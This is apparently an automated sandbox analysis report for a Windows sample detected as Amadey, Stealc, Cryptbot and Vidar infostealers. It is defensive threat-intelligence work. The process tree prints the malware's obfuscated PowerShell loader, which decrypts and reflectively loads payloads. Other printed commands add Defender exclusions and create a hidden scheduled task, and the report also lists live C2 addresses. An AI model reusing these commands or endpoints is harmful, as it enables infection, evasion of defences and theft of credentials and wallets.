Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1565865
MD5:	f1342d3c266f900b0f741a88d34c2c66
SHA1:	969f00c1d09c99f2adebe3898b42ee97d9e1c53c
SHA256:	a2690a898a227466fa7c8baba05a72ed5c48ec224cc1d7b4f44f2313e830dc23
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, HTMLPhisher, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected BlockedWebSite

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

DNS related to crypt mining pools

Drops PE files to the document folder of the user

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Powershell drops PE file

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 764 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F1342D3C266F900B0F741A88D34C2C66)

chrome.exe (PID: 6516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2016,i,11931169418970791353,8527308257632557293,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7656 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2268,i,4270709120821206105,7988913015437198549,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7120 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

GCGHCBKFCF.exe (PID: 6332 cmdline: "C:\Users\user\Documents\GCGHCBKFCF.exe" MD5: E4C570FBA70843D9127A627D5F627766)

skotes.exe (PID: 7072 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: E4C570FBA70843D9127A627D5F627766)

msedge.exe (PID: 6100 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7548 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,15762484504368215881,17872325202464859590,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8016 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E4C570FBA70843D9127A627D5F627766)

skotes.exe (PID: 3848 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E4C570FBA70843D9127A627D5F627766)

cmd.exe (PID: 6852 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 504 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 828 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 2492 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 848 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\') MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 3504 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 1492 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest') MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 2584 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2736 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2564 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3836 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TabletInputService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1680 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1248 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2104 cmdline: C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 5768 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 9294' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Network9294Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 376 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1656 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 792 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1220 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3296 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s NcdAutoSetup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1640 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2500 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2056 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 752 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3768 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2884 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1584 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 3676 cmdline: "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\Network9294Man.cmd" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7016 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Network9294Man.cmd" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6884 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Roaming\Network9294Man.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 7148 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 2036 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 424 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\') MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2776 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Roaming\Network9294Man') MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ddd4dd05d2.exe (PID: 7948 cmdline: "C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe" MD5: B5ABF47A49656B3B5899E1ECA32C73BE)

83d4c6bf2a.exe (PID: 3668 cmdline: "C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe" MD5: 078FB89D17811746084F23019F031364)

cmd.exe (PID: 1444 cmdline: C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\user\AppData\Roaming\Network9294Man.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["x3hahome.twentykx20sb.top", "2KPnhome.twentykx20sb.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1010789001\build.exe	JoeSecurity_BlockedWebSite	Yara detected BlockedWebSite	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000002F.00000002.3949693249.0000000000310000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000024.00000002.3950928863.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002C.00000002.3950183505.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002E.00000000.2765891846.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000001E.00000002.4026201365.0000000008270000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000023.00000002.3952681085.0000000000B90000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000002E.00000002.3949234425.0000000000D10000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000027.00000002.3949106672.0000000000CF0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000027.00000000.2722890872.0000000000CF0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000010.00000002.2073320644.0000000000871000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002B.00000002.3949944520.0000000000390000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000011.00000002.2113502569.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.3950440710.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000032.00000002.3950745908.0000000000680000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000030.00000000.2772382736.0000000000860000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000021.00000002.3949691335.00000000008A0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000001E.00000000.2669314318.0000000007590000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x262ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000012.00000002.2113093555.0000000000D31000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2030270292.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
